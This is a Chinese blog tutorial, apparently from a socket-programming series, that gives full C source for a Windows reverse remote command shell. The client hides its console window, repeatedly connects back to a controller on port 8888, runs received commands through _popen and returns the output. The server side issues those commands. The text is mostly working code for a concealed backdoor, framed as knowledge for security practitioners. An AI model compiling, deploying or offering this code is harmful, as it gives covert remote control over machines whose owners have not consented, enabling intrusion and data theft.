首页 > 其他分享 >14.2 Socket 反向远程命令行

14.2 Socket 反向远程命令行

时间:2023-10-12 09:12:22浏览次数:37  
标签:Socket 14.2 recv 命令 命令行 sizeof buf sin 服务端

在本节,我们将继续深入探讨套接字通信技术,并介绍一种常见的用法,实现反向远程命令执行功能。对于安全从业者而言,经常需要在远程主机上执行命令并获取执行结果。本节将介绍如何利用 _popen() 函数来启动命令行进程,并将输出通过套接字发送回服务端,从而实现远程命令执行的功能。

在实现反向远程命令执行时,我们可以使用 _popen(buf, "r") 函数来执行特定的命令,并将其输出重定向到一个可读的缓冲区中。这个缓冲区将保存命令的输出内容,我们可以将其发送回控制程序,也就是服务端,从而实现远程命令执行的目标。

首先我们来看一下_popen()函数的原型定义。

FILE *_popen(const char *command, const char *mode);

该函数接受两个参数:

  • command:字符串,包含要执行的命令行指令。
  • mode:字符串,用于指定管道的打开方式,支持 "r" 和 "w" 两种模式。

函数返回一个FILE结构体指针,该指针指向一个由命令产生的输出流。在执行命令时,该函数将创建一个进程来运行命令,并从该进程的标准输出流中读取输出。然后该函数将返回一个文件指针,该文件指针包装了一个文件描述符,用于访问输出流。最终,用户可以使用标准的文件读取操作(如 fread()、fgets() 等)从该文件指针中读取输出,有了该函数的支持再配合套接字即可实现远程命令执行的效果;

14.2.1 服务端实现

如下代码实现了一个基于Windows平台的简单TCP反向shell。该程序可以监听本地的某一端口(默认为 8888),并等待外部客户端的连接。当有新的客户端连接时,程序会等待用户在终端上输入要执行的命令,并将该命令发送给客户端。客户端执行该命令并将执行结果回显到服务端,服务端则将回显结果输出到终端上。

#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")

int main(int argc, char *argv[])
{
  WSADATA wsaData;
  SOCKET sock, Sclient;
  struct sockaddr_in sin, client;
  int nAddrLen = sizeof(client);

  // 初始化套接字库
  WSAStartup(MAKEWORD(2, 2), &wsaData);

  // 初始化Socket
  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  // 填充变量
  sin.sin_family = AF_INET;
  sin.sin_port = htons(8888);
  sin.sin_addr.S_un.S_addr = INADDR_ANY;

  // 绑定套接字
  bind(sock, (struct sockaddr*) & sin, sizeof(sin));

  char buf[40960] = { 0 };

  // 循环等待套接字事件
  while (1)
  {
    // 侦听套接字
    if (listen(sock, 20) != SOCKET_ERROR)
    {
      // 有链接时则接收
      Sclient = accept(sock, (SOCKADDR*)&client, &nAddrLen);
      int input_len = 0;

      char send_cmd[2048] = { 0 };
      printf("[%s:%5d] # ", inet_ntoa(client.sin_addr), htons(client.sin_port));

      // 输入数据,以回车键为结束标识
      while ((send_cmd[input_len++] = getchar()) != '\n')
      {
        ;
      }

      // 发送输入的命令
      send(Sclient, send_cmd, sizeof(send_cmd), 0);

      // 循环接收回显
      while (recv(Sclient, buf, sizeof(buf), 0) > 0)
      {
        printf("%s", buf);
        memset(buf, 0, sizeof(buf));
      }
    }

    // 关闭通信
    closesocket(Sclient);
  }

  // 关闭库
  WSACleanup();
  return 0;
}

14.2.2 客户端实现

客户端实现首先在开头部分通过增加一个链接器选项,该选项的作用是启动程序时不显示命令行窗口一次来实现隐藏窗体的目的,在程序中通过recv()函数在服务端接收一条命令行参数,并通过调用_popen(buf, "r")执行本地命令行并将输出结果保存在buf变量内,最后通过调用send()函数将执行结果发送给服务端,以此来实现反向命令执行的功能;

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")

int main(int argc, char *argv[])
{
  WSADATA wsaData;
  SOCKET socks;
  struct sockaddr_in sin;
  CHAR buf[1024];

  // 初始化套接字库
  WSAStartup(MAKEWORD(2, 2), &wsaData);

  while (1)
  {
    socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(8888);
    sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");

    // 连接到远程
    if (connect(socks, (struct sockaddr*) &sin, sizeof(sin)) != SOCKET_ERROR)
    {
      // buf 里面就是接收到的执行命令行
      memset(buf, 0, sizeof(buf));
      int ret = recv(socks, buf, sizeof(buf), 0);
      if (ret > 0)
      {
        char recv_data[1024] = { 0 };
        
        // 执行远程命令
        FILE *fp = _popen(buf, "r");

        // 循环读取并发送数据,每次发送1024字节
        while (fgets(recv_data, 1024, fp) != NULL)
        {
          send(socks, recv_data, sizeof(recv_data), 0);
          fprintf(stderr, "%s", recv_data);
          memset(recv_data, 0, sizeof(recv_data));
          Sleep(10);
        }
      }
    }
    memset(buf, 0, sizeof(buf));
    closesocket(socks);
    Sleep(1);
  }
  WSACleanup();
  return 0;
}

读者可自行编译并运行这两个程序,首先运行服务端接着运行客户端,当服务端接收到上线消息后,读者可自行执行一些系统命令,此时会看到客户端的输出效果如下图所示;

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/8b85e795.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

标签:Socket,14.2,recv,命令,命令行,sizeof,buf,sin,服务端
From: https://www.cnblogs.com/LyShark/p/17758683.html

相关文章

  • 搭建 Kubernetes 集群 —— 命令行工具 kubectl
    命令行工具(kubectl)Kubernetes提供kubectl是使用KubernetesAPI与Kubernetes集群的控制面进行通信的命令行工具。这个工具叫做kubectl。一、在任意节点使用kubectl最开始只能在master节点上使用kubectl工具,比如kubectlgetnodes因为之前在部署master节点时......
  • linux socket地址
    socket地址://socket地址其实是一个结构体,封装端口号和IP等信息。后面的socket相关的API需要使用到这个socket地址。//客户端  -->  服务器(IP  、Port)通用socket地址:socket网络编程接口中表示socket地址是结构体sockaddr,其定义如下:(IPv4......
  • 封装利用libwebsockets写出的客户端、服务端程序为客户端服务端类
    1.封装我们后续将使用c++来开发程序,因此有必要将用c写成的wss客户端、服务端程序作进一步封装,使其成为wss客户端类和服务端类,这样更便于调用。封装后的程序结构: ubuntu@ubuntu-virtual-machine:~/work/test_libwebsockets/lws_class$tree .├──client│  ├──cl......
  • 实现一个自动生成小学四则运算题目的命令行程序
    作业所属课程https://edu.cnblogs.com/campus/gdgy/CSGrade21-12/homework/13016作业要求https://edu.cnblogs.com/campus/gdgy/CSGrade21-12/homework/13016作业目标实现一个自动生成小学四则运算题目的命令行程序结对项目艾山·依力哈木+3120005145一......
  • 14.1 Socket 套接字编程入门
    Winsock是Windows操作系统上的套接字API,用于在网络上进行数据通信。套接字通信是一种允许应用程序在计算机网络上进行实时数据交换的技术。通过使用Windows提供的API,应用程序可以创建一个套接字来进行数据通信。这个套接字可以绑定到一个端口,以允许其他应用程序连接它。另外,Winsoc......
  • Linux命令行基本操作
    本例要求熟悉新装LINUX系统中命令行界面的获取方法,并通过命令行完成下列任务:pwd、cd、ls命令练习路径练习路径切换练习cat命令练习less命令练习hostname命令练习显示CPU与内存查看IP地址创建数据练习查看部分文件内容过滤文件内容vim文本编辑器关机与重启简单命令......
  • 【Postman】以命令行形式执行Postman脚本(使用newman)
    以命令行形式执行Postman脚本(使用Newman)目录以命令行形式执行Postman脚本(使用Newman)一、背景二、Newman的安装1、Node.js2、Newman三、脚本准备四、Newman的执行1、run2、变量的使用3、参数化文件4、指定folder五、生成报告1、生成简洁版html报告2、生成加强版html测试报告和Json......
  • C++ libwebsockets搭建WebSocket服务端及Http客户端、服务端
    https://blog.csdn.net/fantasysolo/article/details/88908948  概念WebRTCWebRTC,名称源自网页即时通信(英语:WebReal-TimeCommunication)的缩写,是一个支持网页浏览器进行实时语音对话或视频对话的API。它于2011年6月1日开源并在Google、Mozilla、Opera支持下被纳入万维网联......
  • 8种品牌PLC单片机使用Socket编程实现以太网开放式通信服务器视频教程
    8种品牌PLC单片机使用Socket编程实现以太网开放式通信服务器视频教程一、罗克韦尔ABMicro850系列PLC实现ModbusTCP以太网通信协议​服务器视频教程:罗克韦尔ABMicro850系列PLC做ModbusTCP以太网通信服务器、以太网调试助手和ModbusPoll调试助手做ModbusTCP以太网通信客户端,......
  • SpringBoot集成WebSocket讲解
    目录1WebSocket1.1简介1.2WebSocket作用和调用1.2.1作用1.2.2js端调用1.3Javax1.3.1服务端1.3.1.1服务端接收1.3.1.2服务端集成1.3.1.3ping和pong消息1.3.2客户端1.3.2.1客户端接收1.3.2.2客户端发送1.4WebMVC1.4.1服务端1.1.4.1服务端接收1.1.4.2服务端集成1.1......